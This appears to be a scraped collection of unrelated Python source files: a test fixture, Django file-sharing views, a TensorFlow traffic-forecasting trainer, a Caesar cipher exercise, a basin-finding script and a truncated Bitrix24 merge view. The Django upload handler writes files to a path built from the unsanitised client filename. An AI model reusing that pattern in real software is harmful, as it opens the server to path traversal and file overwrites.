return_value=NEW_GENERATION_1):\n with MbocOffersDiffCreatorAndSenderEnv(yt_server, **resources) as routines_env:\n yield routines_env\n\n\n@pytest.yield_fixture(scope='module')\ndef internal_test_1(routines_1, yt_server, datacamp_internal_msku_topic):\n yt_client = yt_server.get_yt_client()\n\n diff_table = ypath_join(MBOC_OFFERS_DIR, 'diffs', '{}-{}_diff'.format(NEW_GENERATION_1, NEW_GENERATION_0))\n assert bool(yt_client.exists(diff_table)) is True\n diff_data = list(yt_client.read_table(diff_table))\n print_table(diff_data, diff_table)\n\n # 1. Проверяем содержание diff таблицы\n assert diff_data == [\n {'msku_id': 100},\n {'msku_id': 111},\n {'msku_id': 121},\n {'msku_id': 141}\n ]\n\n # 2. Проверяем содержимое топика. Ожидаем два сообщения (mboc_offers_mskus_in_message = 2 в конфиге)\n # 'msku_route_flags': 1 - EMskuRouteFlag::TO_IRIS - офферы из диффа отправляются только iris\n messages = datacamp_internal_msku_topic.read(2, wait_timeout=10)\n assert_that(messages, HasSerializedDatacampMessages([\n {\n 'market_skus': {\n 'msku': [\n {'id': 100, 'msku_route_flags': 1},\n {'id': 111, 'msku_route_flags': 1},\n ]\n }\n },\n {\n 'market_skus': {\n 'msku': [\n {'id': 121, 'msku_route_flags': 1},\n {'id': 141, 'msku_route_flags': 1},\n ]\n }\n }\n ]))\n\n\n@pytest.yield_fixture(scope='module')\ndef routines_2(\n internal_test_1,\n yt_server,\n config_2,\n mboc_offers_external_table_2,\n datacamp_internal_msku_topic\n):\n resources = {\n 'mboc_offers_external_table': mboc_offers_external_table_2,\n 'config': config_2,\n 'datacamp_internal_msku_topic': datacamp_internal_msku_topic\n }\n with mock.patch('market.idx.datacamp.routines.lib.tasks.mboc_offers_diff_creator.create_generation_name', return_value=NEW_GENERATION_2):\n with MbocOffersDiffCreatorAndSenderEnv(yt_server, **resources) as routines_env:\n yield routines_env\n\n\n@pytest.yield_fixture(scope='module')\ndef internal_test_2(routines_2, yt_server):\n yt_client = yt_server.get_yt_client()\n states_dir = ypath_join(MBOC_OFFERS_DIR, 'states')\n tables = yt_client.list(states_dir)\n\n assert tables == [NEW_GENERATION_2, 'recent']\n assert 'recent' in tables\n assert yt_client.get(ypath_join(states_dir, 'recent', '@path')).split('/')[-1] == NEW_GENERATION_2\n\n\ndef test_whole_cycle(internal_test_0, internal_test_1, internal_test_2):\n pass\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/tests/test_mboc_offers_diff_creator.py","file_name":"test_mboc_offers_diff_creator.py","file_ext":"py","file_size_in_byte":12617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41017038521","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.contrib.auth.models import User\nfrom file.models import File,SharedRecord\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth import login, logout\nfrom django.views.static import serve\nimport os,hashlib\nimport shutil,random,string,subprocess\nfrom io import StringIO\nimport mimetypes\n\nfrom fus.settings import BASE_DIR,PROJECT_ROOT, SHARED_FOLDER,MEDIA_ROOT\n\n# root/pjlogin/fus BASE_DIR\n#/root/pjlogin/fus/Private/ SHARED_FOLDER\n\nfrom datetime import datetime as dt\nfrom datetime import *\n\ndef genkey(c):\n x = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(c))\n return x\n\n\ndef home(request):\n if request.user.is_authenticated:\n user = User.objects.get(username=request.user.username)\n files = user.files.all()\n paginator = Paginator(files, 5)\n page = request.GET.get('page')\n #return HttpResponse(MEDIA_ROOT)\n\n\n if not os.path.isdir(SHARED_FOLDER):\n os.makedirs(SHARED_FOLDER)\n\n if bool(files):\n files = paginator.get_page(page)\n context = {'paginator': paginator,\n 'files': files,\n 'user': user,\n }\n return render(request, 'file/home.html', context, status=200)\n else:\n context = {'warn_msg': '''You haven't Uploaded any\n Files just upload some files to access it''',\n }\n return render(request, 'file/home.html', context, status=200)\n else:\n return redirect('file:login')\n\n\ndef log_in(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect(\"/\")\n else:\n if request.method == 'GET':\n form = AuthenticationForm()\n return render(request, 'file/Login_v1/index.html', {'form': form}, status=200)\n elif request.method == 'POST':\n #form = AuthenticationForm(data=request.POST)\n form = AuthenticationForm(data=request.POST)\n if form.is_valid():\n login(request, form.get_user())\n #return HttpResponseRedirect(\"/\")\n x = form.get_user()\n t = str(x)\n if t=='admin':\n return HttpResponseRedirect(\"/uadmin\")\n else:\n return HttpResponseRedirect(\"/\")\n\n else:\n return render(request, 'file/Login_v1/index.html', {'form': form}, status=200)\n else:\n return HttpResponse(\"Unsupported method Please use GET or POST \", status=405)\n\n\n\n\ndef upload(request):\n if request.user.is_authenticated:\n if request.method == 'GET':\n return render(request, 'file/upload.html', status=200)\n if request.method == 'POST':\n try:\n file_name, file_path = handle_uploaded_file(request, request.FILES['file'], str(request.FILES['file']))\n #return HttpResponse(file_path)\n # when user2 uploaded file it showed filepath to be /root/pjlogin/fus/upload/user2/readme.md\n # return HttpResponse(SHARED_FOLDER)\n filevar = File(name=file_name, user=request.user, path=file_path)\n filevar.save()\n return HttpResponseRedirect(\"/\")\n except KeyError:\n return HttpResponseRedirect(\"/upload\")\n except ValueError:\n return HttpResponse(\"File Already Exists\", status=400)\n else:\n return HttpResponse(\"Unsupported method Please use GET or POST \", status=405)\n else:\n return HttpResponseRedirect(\"/login\")\n\ndef handle_uploaded_file(request, file, filename):\n user_name = request.user.username\n\n filename = str(filename)\n\n #filename = str(user_name)+'_'+filename\n\n path = 'upload/{}/'.format(request.user.username) + filename\n\n if os.path.exists(path):\n return HttpResponse(\"File Already Exists\", status=200)\n if not os.path.exists('upload/'):\n os.mkdir('upload/')\n if not os.path.exists('upload/{}/'.format(user_name)):\n os.mkdir('upload/{}/'.format(user_name))\n with open(path, 'wb+') as destination:\n for chunk in file.chunks():\n destination.write(chunk)\n abs_path = os.path.abspath(path)\n return filename, abs_path\n\n\ndef signup(request):\n if request.method == 'GET':\n form = UserCreationForm()\n return render(request, 'file/signup.html', {'form': form}, status=200)\n elif request.method == 'POST':\n form = UserCreationForm(request.POST)\n emailid = request.POST['emailid']\n\n if not form.is_valid():\n return render(request, 'file/signup.html', {'form': form}, status=200)\n form.save()\n user = User.objects.get(username=form.cleaned_data.get('username'))\n user.email = emailid\n user.save()\n login(request, user)\n return HttpResponseRedirect(\"/login\")\n else:\n return HttpResponse(\"Unsupported method Please use GET or POST \", status=405)\n\n\n\ndef log_out(request):\n if request.method=='GET':\n logout(request)\n return HttpResponseRedirect(\"/login\")\n else :\n return HttpResponse(\"Unsupported method Please use GET or POST \", status=405)\n\n\ndef download(request):\n if request.user.is_authenticated: \n user = User.objects.get(username=request.user.username)\n files = user.files.all()\n\n try:\n selected_file = user.files.filter(name=request.POST['filename'])\n\n\n except(KeyError):\n render(request,'file/home.html',{'error_message':\"You DID NOT SELECT A FILE\",})\n \n else:\n \n t = selected_file[0]\n\n typeofmime = str(mimetypes.MimeTypes().guess_type('t.name')[0])\n\n filespath = t.path\n p = open(filespath,'rb').read()\n\n response = HttpResponse(p)\n response['Content-Type'] = typeofmime\n response['Content-Disposition'] = 'attachment; filename= \"{}\"'.format(t.name) \n return response\n","repo_name":"Prince5118/filesharing-Python3","sub_path":"file/views/views_basic.py","file_name":"views_basic.py","file_ext":"py","file_size_in_byte":6317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39769779668","text":"# -- coding: utf-8 --\n'''\nthe shape of sparsetensor is a tuuple, like this\n(array([[ 0, 297],\n [ 0, 296],\n [ 0, 295],\n ...,\n [161, 2],\n [161, 1],\n [161, 0]], dtype=int32), array([0.00323625, 0.00485437, 0.00323625, ..., 0.00646204, 0.00161551,\n 0.00161551], dtype=float32), (162, 300))\naxis=0: is nonzero values, x-axis represents Row, y-axis represents Column.\naxis=1: corresponding the nonzero value.\naxis=2: represents the sparse matrix shape.\n'''\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom models.utils import *\nfrom models.models import GCN\nfrom models.hyparameter import parameter\nfrom models.embedding import embedding\nfrom models.bridge import BridgeTrans\nfrom models.st_block import ST_Block\nfrom models.inits import *\nfrom models.data_load import *\n\ntf.reset_default_graph()\nos.environ[\"KMP_DUPLICATE_LIB_OK\"] = \"TRUE\"\nlogs_path = \"board\"\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '7'\ntf.random.set_random_seed(seed=22)\nnp.random.seed(22)\n\nfrom tensorflow.compat.v1 import ConfigProto\nfrom tensorflow.compat.v1 import InteractiveSession\n\n\nclass Model(object):\n def __init__(self, para, mean, std):\n self.para = para\n self.mean = mean\n self.std = std\n self.num_heads = self.para.num_heads\n self.input_len = self.para.input_length\n self.output_len = self.para.output_length\n self.total_len = self.input_len + self.output_len\n self.features = self.para.features\n self.batch_size = self.para.batch_size\n self.epochs = self.para.epoch\n self.site_num = self.para.site_num\n self.emb_size = self.para.emb_size\n self.is_training = self.para.is_training\n self.learning_rate = self.para.learning_rate\n self.model_name = self.para.model_name\n self.granularity = self.para.granularity\n self.decay_epoch=self.para.decay_epoch\n self.adj = preprocess_adj(self.adjecent())\n self.num_train = 23967\n\n # define gcn model\n if self.para.model_name == 'gcn_cheby':\n self.support = chebyshev_polynomials(self.adj, self.para.max_degree)\n self.num_supports = 1 + self.para.max_degree\n self.model_func = GCN\n else:\n self.support = [self.adj]\n self.num_supports = 1\n self.model_func = GCN\n\n # define placeholders\n self.placeholders = {\n 'position': tf.placeholder(tf.int32, shape=(1, self.site_num), name='input_position'),\n 'day_of_week': tf.placeholder(tf.int32, shape=(None, self.site_num), name='input_day_of_week'),\n 'minute_of_day': tf.placeholder(tf.int32, shape=(None, self.site_num), name='input_minute_of_day'),\n 'indices_i': tf.placeholder(dtype=tf.int64, shape=[None, None], name='input_indices'),\n 'values_i': tf.placeholder(dtype=tf.float32, shape=[None], name='input_values'),\n 'dense_shape_i': tf.placeholder(dtype=tf.int64, shape=[None], name='input_dense_shape'),\n 'features': tf.placeholder(tf.float32, shape=[None, self.input_len, self.site_num, self.features], name='input_s'),\n 'labels': tf.placeholder(tf.float32, shape=[None, self.site_num, self.total_len], name='labels_s'),\n 'features_all': tf.placeholder(tf.float32, shape=[None, self.total_len, self.site_num, self.features], name='input_all_s'),\n 'dropout': tf.placeholder_with_default(0., shape=(), name='input_dropout'),\n 'num_features_nonzero': tf.placeholder(tf.int32, name='input_zero'), # helper variable for sparse dropout\n 'is_training': tf.placeholder(shape=(), dtype=tf.bool)\n }\n self.supports = [tf.SparseTensor(indices=self.placeholders['indices_i'],\n values=self.placeholders['values_i'],\n dense_shape=self.placeholders['dense_shape_i']) for _ in range(self.num_supports)]\n self.embeddings()\n self.model()\n\n def adjecent(self):\n '''\n :return: adj matrix\n '''\n data = pd.read_csv(filepath_or_buffer=self.para.file_adj)\n adj = np.zeros(shape=[self.para.site_num, self.para.site_num])\n for line in data[['src_FID', 'nbr_FID']].values:\n adj[line[0]][line[1]] = 1\n return adj\n\n def embeddings(self):\n '''\n :return:\n '''\n p_emd = embedding(self.placeholders['position'], vocab_size=self.para.site_num, num_units=self.emb_size,scale=False, scope=\"position_embed\")\n p_emd = tf.reshape(p_emd, shape=[1, self.site_num, self.emb_size])\n self.p_emd = tf.expand_dims(p_emd, axis=0)\n\n w_emb = embedding(self.placeholders['day_of_week'], vocab_size=7, num_units=self.emb_size, scale=False, scope=\"day_embed\")\n self.w_emd = tf.reshape(w_emb, shape=[-1, self.total_len, self.site_num, self.emb_size])\n\n m_emb = embedding(self.placeholders['minute_of_day'], vocab_size=24 * 60 //self.granularity, num_units=self.emb_size,scale=False, scope=\"minute_embed\")\n self.m_emd = tf.reshape(m_emb, shape=[-1, self.total_len, self.site_num, self.emb_size])\n\n def model(self):\n '''\n :param batch_size: 64\n :param encoder_layer:\n :param decoder_layer:\n :param encoder_nodes:\n :param prediction_size:\n :param is_training: True\n :return:\n '''\n with tf.variable_scope(name_or_scope='encoder'):\n '''\n return, the gcn output --- for example, inputs.shape is : (32, 3, 162, 32)\n axis=0: bath size\n axis=1: input data time size\n axis=2: numbers of the nodes\n axis=3: output feature size\n '''\n timestamp = [self.w_emd, self.m_emd]\n position = self.p_emd\n\n global_step = tf.Variable(0, trainable=False)\n bn_momentum = tf.train.exponential_decay(0.5, global_step,\n decay_steps=self.decay_epoch * self.num_train // self.batch_size,\n decay_rate=0.5, staircase=True)\n bn_decay = tf.minimum(0.99, 1 - bn_momentum)\n\n X_All = FC(self.placeholders['features_all'], units=[self.emb_size, self.emb_size], activations=[tf.nn.relu, None],\n bn=True, bn_decay=bn_decay, is_training=self.placeholders['is_training'])\n\n if self.model_name == 'STGIN_1':\n speed = FC(self.placeholders['features'], units=[self.emb_size, self.emb_size], activations=[tf.nn.relu, None],\n bn=True, bn_decay=bn_decay, is_training=self.placeholders['is_training'])\n else:\n speed = tf.transpose(self.placeholders['features'],perm=[0, 2, 1, 3])\n speed = tf.reshape(speed, [-1, self.input_len, self.features])\n speed3 = tf.layers.conv1d(inputs=speed,\n filters=self.emb_size,\n kernel_size=3,\n padding='SAME',\n kernel_initializer=tf.truncated_normal_initializer(),\n name='conv_1')\n speed2 = tf.layers.conv1d(inputs=tf.reverse(speed,axis=[1]),\n filters=self.emb_size,\n kernel_size=3,\n padding='SAME',\n kernel_initializer=tf.truncated_normal_initializer(),\n name='conv_2')\n speed1 = tf.layers.conv1d(inputs=speed,\n filters=self.emb_size,\n kernel_size=1,\n padding='SAME',\n kernel_initializer=tf.truncated_normal_initializer(),\n name='conv_3')\n speed2 = tf.reverse(speed2, axis=[1])\n speed2 = tf.multiply(speed2, tf.nn.sigmoid(speed2))\n speed3 = tf.multiply(speed3, tf.nn.sigmoid(speed3))\n speed = tf.add_n([speed1, speed2, speed3])\n speed = tf.reshape(speed, [-1, self.site_num, self.input_len, self.emb_size])\n speed = tf.transpose(speed, perm=[0, 2, 1, 3])\n\n STE = STEmbedding(position, timestamp, 0, self.emb_size, True, bn_decay, self.placeholders['is_training'])\n st_block = ST_Block(hp=self.para, placeholders=self.placeholders, input_length=self.input_len,\n model_func=self.model_func)\n if self.para.model_name == 'STGIN_2':\n encoder_outs = st_block.spatiotemporal_(bn=True,\n bn_decay=bn_decay,\n is_training=self.placeholders['is_training'],\n speed=speed,\n STE=STE[:, :self.input_len],\n supports=self.supports,\n speed_all=X_All)\n else:\n encoder_outs = st_block.spatiotemporal(bn=True,\n bn_decay=bn_decay,\n is_training=self.placeholders['is_training'],\n speed=speed,\n STE=STE[:, :self.input_len],\n supports=self.supports,\n speed_all=X_All, adj=self.adj)\n print('encoder encoder_outs shape is : ', encoder_outs.shape)\n\n with tf.variable_scope(name_or_scope='bridge'):\n X = encoder_outs\n X = BridgeTrans(X, X + STE[:, :self.input_len], STE[:, self.input_len:] + X_All[:,self.input_len:], self.num_heads, self.emb_size // self.num_heads, True, bn_decay, self.placeholders['is_training'])\n print('bridge bridge_outs shape is : ', X.shape)\n # X = st_block.dynamic_decoding(hiddens=encoder_outs, STE=STE[:, self.input_len:])\n\n pre = FC(\n X, units=[self.emb_size, 1], activations=[None, None],\n bn=True, bn_decay=bn_decay, is_training=self.placeholders['is_training'],\n use_bias=True, drop=0.1)\n pre = pre * (self.std) + self.mean\n self.pre = tf.transpose(tf.squeeze(pre, axis=-1), [0, 2, 1], name='output_y')\n print('prediction values shape is : ', self.pre.shape)\n observed = self.placeholders['labels'][:,:,self.input_len:]\n predicted = self.pre\n\n learning_rate = tf.train.exponential_decay(\n self.learning_rate, global_step,\n decay_steps=self.decay_epoch * self.num_train // self.batch_size,\n decay_rate=0.7, staircase=True)\n learning_rate = tf.maximum(learning_rate, 1e-5)\n self.loss = mae_los(predicted, observed)\n self.train_op = tf.train.AdamOptimizer(learning_rate).minimize(self.loss, global_step=global_step)\n\n def test(self):\n '''\n :param batch_size: usually use 1\n :param encoder_layer:\n :param decoder_layer:\n :param encoder_nodes:\n :param prediction_size:\n :param is_training: False\n :return:\n '''\n model_file = tf.train.latest_checkpoint('weights/')\n self.saver.restore(self.sess, model_file)\n\n def initialize_session(self,session):\n self.sess = session\n self.saver = tf.train.Saver()\n\n def run_epoch(self, trainX, trainDoW, trainM, trainL, trainXAll, valX, valDoW, valM, valL, valXAll):\n '''\n from now on,the model begin to training, until the epoch to 100\n '''\n max_mae = 100\n shape = trainX.shape\n num_batch = math.floor(shape[0] / self.batch_size)\n self.num_train=shape[0]\n self.sess.run(tf.global_variables_initializer())\n start_time = datetime.datetime.now()\n iteration=0\n for epoch in range(self.epochs):\n # shuffle\n permutation = np.random.permutation(shape[0])\n trainX = trainX[permutation]\n trainDoW = trainDoW[permutation]\n trainM = trainM[permutation]\n trainL = trainL[permutation]\n trainXAll = trainXAll[permutation]\n for batch_idx in range(num_batch):\n iteration+=1\n start_idx = batch_idx * self.batch_size\n end_idx = min(shape[0], (batch_idx + 1) * self.batch_size)\n xs = np.expand_dims(trainX[start_idx : end_idx], axis=-1)\n day_of_week = np.reshape(trainDoW[start_idx : end_idx], [-1, self.site_num])\n minute_of_day = np.reshape(trainM[start_idx : end_idx], [-1, self.site_num])\n labels = trainL[start_idx : end_idx]\n xs_all = np.expand_dims(trainXAll[start_idx : end_idx], axis=-1)\n feed_dict = construct_feed_dict(xs=xs,\n xs_all=xs_all,\n labels=labels,\n day_of_week=day_of_week,\n minute_of_day=minute_of_day,\n adj=self.adj,\n placeholders=self.placeholders,\n sites=self.site_num)\n feed_dict.update({self.placeholders['dropout']: self.para.dropout})\n\n loss, _ = self.sess.run((self.loss, self.train_op), feed_dict=feed_dict)\n # print(\"after %d steps,the training average loss value is : %.6f\" % (batch_idx, loss))\n\n if iteration % 100 == 0:\n end_time = datetime.datetime.now()\n total_time = end_time - start_time\n print(\"Total running times is : %f\" % total_time.total_seconds())\n\n print('validation')\n mae = self.evaluate(valX, valDoW, valM, valL, valXAll) # validate processing\n if max_mae > mae:\n print(\"in the %dth epoch, the validate average loss value is : %.3f\" % (epoch + 1, mae))\n max_mae = mae\n self.saver.save(self.sess, save_path=self.para.save_path)\n\n def evaluate(self, testX, testDoW, testM, testL, testXAll):\n '''\n :param para:\n :param pre_model:\n :return:\n '''\n labels_list, pres_list = list(), list()\n if not self.is_training:\n # model_file = tf.train.latest_checkpoint(self.para.save_path)\n saver = tf.train.import_meta_graph(self.para.save_path + '.meta')\n # saver.restore(sess, args.model_file)\n print('the model weights has been loaded:')\n saver.restore(self.sess, self.para.save_path)\n\n parameters = 0\n for variable in tf.trainable_variables():\n parameters += np.product([x.value for x in variable.get_shape()])\n print('trainable parameters: {:,}'.format(parameters))\n\n textX_shape = testX.shape\n total_batch = math.floor(textX_shape[0] / self.batch_size)\n start_time = datetime.datetime.now()\n for b_idx in range(total_batch):\n start_idx = b_idx * self.batch_size\n end_idx = min(textX_shape[0], (b_idx + 1) * self.batch_size)\n xs = np.expand_dims(testX[start_idx: end_idx], axis=-1)\n day_of_week = np.reshape(testDoW[start_idx: end_idx], [-1, self.site_num])\n minute_of_day = np.reshape(testM[start_idx: end_idx], [-1, self.site_num])\n labels = testL[start_idx: end_idx]\n xs_all = np.expand_dims(testXAll[start_idx: end_idx], axis=-1)\n feed_dict = construct_feed_dict(xs=xs,\n xs_all=xs_all,\n labels=labels,\n day_of_week=day_of_week,\n minute_of_day=minute_of_day,\n adj=self.adj,\n placeholders=self.placeholders,\n sites=self.site_num, is_traning=False)\n feed_dict.update({self.placeholders['dropout']: 0.0})\n pre= self.sess.run((self.pre), feed_dict=feed_dict)\n\n labels_list.append(labels[:,:,self.input_len:])\n pres_list.append(pre)\n\n end_time = datetime.datetime.now()\n total_time = end_time - start_time\n print(\"Total running times is : %f\" % total_time.total_seconds())\n\n labels_list = np.concatenate(labels_list, axis=0)\n pres_list = np.concatenate(pres_list, axis=0)\n np.savez_compressed('data/STGIN-' + 'YINCHUAN', **{'prediction': pres_list, 'truth': labels_list})\n\n print(' MAE\\t\\tRMSE\\t\\tMAPE')\n if not self.is_training:\n for i in range(self.para.output_length):\n mae, rmse, mape = metric(pres_list[:,:,i], labels_list[:,:,i])\n print('step: %02d %.3f\\t\\t%.3f\\t\\t%.3f%%' % (i + 1, mae, rmse, mape * 100))\n mae, rmse, mape = metric(pres_list, labels_list) # 产生预测指标\n print('average: %.3f\\t\\t%.3f\\t\\t%.3f%%' %(mae, rmse, mape * 100))\n\n return mae\n\n\ndef main(argv=None):\n '''\n :param argv:\n :return:\n '''\n config = ConfigProto()\n config.gpu_options.allow_growth = True\n # config.gpu_options.per_process_gpu_memory_fraction = 0.3\n session = InteractiveSession(config=config)\n print('#......................................beginning........................................#')\n para = parameter(argparse.ArgumentParser())\n para = para.get_para()\n\n print('Please input a number : 1 or 0. (1 and 0 represents the training or testing, respectively).')\n val = input('please input the number : ')\n\n if int(val) == 1:\n para.is_training = True\n else:\n para.batch_size = 1\n para.is_training = False\n\n trainX, trainDoW, trainM, trainL, trainXAll, valX, valDoW, valM, valL, valXAll, testX, testDoW, testM, testL, testXAll, mean, std = loadData(para)\n print('trainX: %s\\ttrainY: %s' % (trainX.shape, trainL.shape))\n print('valX: %s\\t\\tvalY: %s' % (valX.shape, valL.shape))\n print('testX: %s\\t\\ttestY: %s' % (testX.shape, testL.shape))\n print('data loaded!')\n\n pre_model = Model(para, mean, std)\n pre_model.initialize_session(session)\n if int(val) == 1:\n pre_model.run_epoch(trainX, trainDoW, trainM, trainL, trainXAll, valX, valDoW, valM, valL, valXAll)\n else:\n pre_model.evaluate(testX, testDoW, testM, testL, testXAll)\n\n print('#...................................finished............................................#')\n\n\nif __name__ == '__main__':\n main()","repo_name":"zouguojian/STGIN","sub_path":"run_train.py","file_name":"run_train.py","file_ext":"py","file_size_in_byte":19323,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"72"} +{"seq_id":"16066989838","text":"from art import logo\n\nalphabet = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n]\n\nretry = True\nprint(logo)\n\n\ndef caesar(txt, shf, dir):\n output_txt = \"\"\n\n for char in txt:\n if char not in alphabet:\n output_txt += char\n else:\n position = alphabet.index(char)\n new_position = None\n\n if dir == \"encode\":\n new_position = position + shf\n elif dir == \"decode\":\n new_position = position - shf\n else:\n break\n\n output_txt += alphabet[new_position]\n\n print(f'The {dir}d text is \"{output_txt}\"')\n\n\nwhile retry:\n direction = input('\\nType \"encode\" to encrypt, type \"decode\" to decrypt: ').lower()\n text = input(\"Type your message: \").lower()\n shift = int(input(\"Type the shift number: \"))\n shift = shift % 26 # keeps the shift from exceeding the number of letters in the list.\n\n caesar(text, shift, direction)\n\n result = input(\"Would you like to restart the program? Y or N? \").lower()\n if result == \"n\" or result == \"no\":\n retry = False\n print(\"Goodbye!\")\n","repo_name":"yeasir01/100DaysOfPython","sub_path":"08 - Functions With Inputs/CeasarCipherSimplifed.py","file_name":"CeasarCipherSimplifed.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42298315107","text":"from collections import Counter\n\ndef gen_neighbors (x,y):\n\tglobal size\n\tX = Y = size\n\treturn lambda x, y : [[x2, y2] for x2 in range(x-1, x+2)\n \t for y2 in range(y-1, y+2)\n \t if (-1 < x < X and\n \t -1 < y < Y and\n \t (x != x2 or y != y2) and\n \t (0 <= x2 < X) and\n \t (0 <= y2 < Y)) and\n \t \t\tabs(x2-x) != abs(y2-y)]\n\ndef read_in_array():\n\trows = []\n\twith open('inputfile', 'r') as f:\n\t\tfor line in f:\n\t\t\trows.append(map(int, (str.split(line))))\n\treturn rows\n\ndef find_sink(row,col, altitude_matrix):\n\t\"\"\"Recursively find the sink (ultimate drain point) for a cell\"\"\"\n\tneighbours = gen_neighbors(row, col)\n\tcell_neighbours = neighbours(row, col)\n\tneighbour_ranks = []\n\tfor n in cell_neighbours:\n\t\tneighbour_ranks.append(altitude_matrix[n[0]][n[1]])\n\tcell_rank = altitude_matrix[row][col]\n\tsink_rank = min(neighbour_ranks)\n\tsink_index = neighbour_ranks.index(sink_rank)\n\tsink_coordinates = cell_neighbours[sink_index]\n\n\tif cell_rank > sink_rank:\n\t\treturn(find_sink(sink_coordinates[0], sink_coordinates[1], altitude_matrix))\n\telse:\n\t\treturn ((row, col))\n\n\ndef main():\n\taltitude_matrix = read_in_array()\n\tglobal size\n\tsize = len(altitude_matrix)\n\t# recursively search throough the neighbour of every cell to find the sink\n\t# all cells with the same sink are in the same basin\n\tsink_list = []\n\tfor row in xrange(size):\n\t\tfor col in xrange(size):\n\t\t\tsink_list.append(find_sink(row, col, altitude_matrix))\n\tbasins = Counter(sink_list)\n\tprint(\"Basins, in format {(sinkx, sinky): size}: \")\n\tprint(basins)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"johnsaigle/hacker_rank_solutions","sub_path":"python/practice_script.py","file_name":"practice_script.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73830272234","text":"from rest_framework import views, viewsets, filters, status\r\nfrom rest_framework.response import Response\r\nfrom django.shortcuts import render\r\nfrom django.views.decorators.clickjacking import xframe_options_exempt\r\n\r\n# import redis\r\n# import pprint\r\nimport logging\r\nimport re\r\n\r\n# from django.conf import settings\r\n\r\nfrom .service import write_app_data_to_file\r\n# from . import service, bitrix24\r\n# from .service import MyException\r\nfrom .tasks import merge_run_task, merge_run_task_2\r\n\r\n\r\n# Логгер всех входящих запросов\r\n# access_handler = logging.handlers.TimedRotatingFileHandler('./logs/access/access.log', when='D', interval=1)\r\n# formatter_handler = logging.Formatter(fmt='[%(asctime)s] %(levelname).1s %(message)s', datefmt='%Y.%m.%d %H:%M:%S')\r\n# access_handler.setFormatter(formatter_handler)\r\n# logger = logging.getLogger(__name__)\r\n# logger.setLevel(logging.INFO)\r\n# logger.addHandler(access_handler)\r\nlogger_access = logging.getLogger('access')\r\nlogger_access.setLevel(logging.INFO)\r\nfh_access = logging.handlers.TimedRotatingFileHandler('./logs/access/access.log', when='D', interval=1)\r\nformatter_access = logging.Formatter(fmt='[%(asctime)s] %(levelname).1s %(message)s', datefmt='%Y.%m.%d %H:%M:%S')\r\nfh_access.setFormatter(formatter_access)\r\nlogger_access.addHandler(fh_access)\r\n\r\n# Список ID компаний объединение которых запрещено\r\nLIST_COMPANY_IDS_IGNORED = []\r\n# Список ИНН компаний объединение которых запрещено\r\nLIST_COMPANY_INN_IGNORED = [\"5407207664\", \"5407473338\", ]\r\n\r\n# Список полей объединяемых при слиянии компаний:\r\n# \"multiple_value\" - PHONE: [{\"VALUE\": ...}, {\"VALUE\": ...}]\r\n# \"multiple\" - IM: []\r\n# \"single\" - одиночное значение\r\nFIELDS_COMPANIES_LISST = {\r\n \"multiple_value\": [\"PHONE\", \"EMAIL\", ],\r\n \"multiple\": [\"WEB\", \"IM\", ],\r\n \"single\": [\"TITLE\", \"ASSIGNED_BY_ID\", \"CREATED_BY_ID\", \"ADDRESS\", \"UF_CRM_1639121341\", \"INDUSTRY\",\r\n \"UF_CRM_1639121988\", \"UF_CRM_1617767435\", \"UF_CRM_1639121225\", \"UF_CRM_1639121303\", \"REVENUE\",\r\n \"UF_CRM_1639121262\", \"UF_CRM_1640828035\", \"UF_CRM_1640828023\", \"UF_CRM_1639121612\", \"UF_CRM_1639121999\",]\r\n}\r\n\r\n# redis_instance = redis.StrictRedis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, db=0)\r\n\r\n\r\nclass InstallApiView(views.APIView):\r\n @xframe_options_exempt\r\n def post(self, request):\r\n data = {\r\n \"domain\": request.query_params.get(\"DOMAIN\", \"atonlab.bitrix24.ru\"),\r\n \"auth_token\": request.data.get(\"AUTH_ID\", \"\"),\r\n \"expires_in\": request.data.get(\"AUTH_EXPIRES\", 3600),\r\n \"refresh_token\": request.data.get(\"REFRESH_ID\", \"\"),\r\n \"application_token\": request.query_params.get(\"APP_SID\", \"\"), # используется для проверки достоверности событий Битрикс24\r\n 'client_endpoint': f'https://{request.query_params.get(\"DOMAIN\", \"atonlab.bitrix24.ru\")}/rest/',\r\n }\r\n write_app_data_to_file(data)\r\n return render(request, 'install.html')\r\n\r\n\r\n# Обработчик установленного приложения\r\nclass IndexApiView(views.APIView):\r\n @xframe_options_exempt\r\n def post(self, request):\r\n return render(request, 'index.html')\r\n\r\n\r\nclass MergeDuplicateCompaniesApiView(views.APIView):\r\n\r\n def post(self, request):\r\n event = request.data.get(\"event\", \"\")\r\n id_company = request.data.get(\"data[FIELDS][ID]\", None)\r\n logger_access.info({\r\n \"event\": event,\r\n \"id_company\": id_company\r\n })\r\n\r\n # не передано id компании\r\n if not id_company:\r\n return Response(\"Not transferred ID company\", 